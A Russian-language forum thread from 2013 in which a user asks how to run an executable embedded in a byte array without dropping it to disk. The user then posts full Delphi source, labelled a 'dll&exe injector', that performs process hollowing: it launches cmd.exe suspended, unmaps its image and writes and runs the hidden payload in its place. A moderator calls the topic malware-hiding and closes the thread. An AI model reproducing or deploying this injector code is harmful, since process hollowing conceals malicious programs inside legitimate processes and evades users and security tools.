Сейчас на форуме: zombi-vadim, zds (+4 невидимых)

 eXeL@B —› Программирование —› Запуск exe прямо из памяти
Посл.ответ Сообщение

Ранг: 19.7 (новичок), 14thx
Активность: 0.030
Статус: Участник

Создано: 04 августа 2013 17:38
· Личное сообщение · #1

Здравствуйте! В общем, появился такой вопрос... Нужно запустить exe из массива (О_о). Поясняю:
У нас есть массив, который содержит программу которую нужно запустить (
Code:
  1. const exeSize = 15360;
  2. exeData: Array[1..exeSize] of Byte =(   
  3. $4D,$5A,$50...
) и есть еще один массив, в котором содержится дамп длл, без которой наша программа работать не может. Нужно как то запустить эту прогу, но чтобы её никуда не распаковывать (ну зачем её кому то видеть?).



Ранг: 112.9 (ветеран), 186thx
Активность: 0.090.01
Статус: Участник

Создано: 04 августа 2013 17:47 · Поправил: vden
· Личное сообщение · #2

одна из реализаций, которая на основе загруженного PE образа, проецирует образ в текущий процесс, настраивает релокации, импорт и вызывает точку входа

https://code.google.com/p/pe-image-for-delphi/source/browse/trunk/PE.ExecutableLoader.pas



Ранг: 19.7 (новичок), 14thx
Активность: 0.030
Статус: Участник

Создано: 04 августа 2013 18:06 · Поправил: Phantom007
· Личное сообщение · #3

vden Хмм.. спасибо, посмотрю.

P.S. С запуском exe с памяти разобрался, а вот как к нему подсоединить dll... без понятия

P.S.S. Сам код:
Code:
  1. //******* MEMORY STARTING ******//
  2.  
  3. var
  4.  nb, i: Cardinal;
  5.  ZwUnmapViewOfSection: function (SectionHandle: THandle; p: Pointer): DWORD; stdcall;
  6.   pi: TProcessInformation;
  7.   si: TStartupInfo;
  8.   x, q: Pointer;
  9.   nt: PIMAGE_NT_HEADERS;
  10.   context: TContext;
  11.   sect: PIMAGE_SECTION_HEADER;
  12.   DLL_nt: THandle;
  13.  
  14. function protect(cristic: ULONG): ULONG;
  15. const
  16.   Mapping: array [0..7] of ULONG =
  17.   (PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
  18.    PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE);
  19. begin
  20.   Result:= Mapping[cristic shr 29];
  21. end;
  22.  
  23. procedure MemoryRunner(data: Pointer);
  24. begin
  25.   if data = nil then exit;
  26.   
  27.   DLL_nt:= LoadLibrary( 'ntdll.dll' );
  28.   if(DLL_nt <> 0) then begin
  29.     @ZwUnmapViewOfSection:= GetProcAddress(DLL_nt, 'ZwUnmapViewOfSection');
  30.     if(@ZwUnmapViewOfSection = nil) then begin
  31.       FreeLibrary(DLL_nt);
  32.       ExitProcess(0);
  33.     end;
  34.   end else ExitProcess(0);
  35.  
  36.   si.cb:= SizeOf(si);
  37.   CreateProcess(nil, 'cmd.exe', nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, si, pi);
  38.  
  39.   context.ContextFlags:= CONTEXT_INTEGER;
  40.   GetThreadContext(pi.hThread, context);
  41.   ReadProcessMemory(pi.hProcess, PCHAR(context.ebx) + 8, @x, SizeOf(x), nb);
  42.   ZwUnmapViewOfSection(pi.hProcess, x);
  43.   nt:= PIMAGE_NT_HEADERS(PCHAR(data) + PIMAGE_DOS_HEADER(data).e_lfanew);
  44.   q:= VirtualAllocEx(pi.hProcess, Pointer(nt.OptionalHeader.ImageBase), nt.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  45.   WriteProcessMemory(pi.hProcess, q, data, nt.OptionalHeader.SizeOfHeaders, nb);
  46.  
  47.   sect:= PIMAGE_SECTION_HEADER(nt);
  48.   Inc(PIMAGE_NT_HEADERS(sect));
  49.  
  50.   for i:= 0 to nt.FileHeader.NumberOfSections - 1 do begin
  51.     WriteProcessMemory(pi.hProcess, PCHAR(q) + sect.VirtualAddress, PCHAR(data) + sect.PointerToRawData, sect.SizeOfRawData, nb);
  52.     VirtualProtectEx(pi.hProcess, PCHAR(q) + sect.VirtualAddress, sect.SizeOfRawData, protect(sect.Characteristics), @x);
  53.     Inc(sect);
  54.   end;
  55.  
  56.   WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, SizeOf(q), nb);
  57.   context.Eax:= ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;
  58.   SetThreadContext(pi.hThread, context);
  59.   ResumeThread(pi.hThread);
  60.   FreeLibrary(DLL_nt);
  61. end;
  62.  
  63. //******* END - MEMORY STARTING ******//
  64.  
  65. begin
  66.   Writeln('rabbit18 - dll&exe injector by looboo');
  67.  
  68.   MemoryRunner(@exeData);
  69.  
  70.   readln;
  71. end.





Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 04 августа 2013 18:09
· Личное сообщение · #4

В темп положи и не жадничай, пусть лежит там и жрать не просит. Кодесов таких полно в гугле, в топку эти малварно-скрывающие топики.


 eXeL@B —› Программирование —› Запуск exe прямо из памяти
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати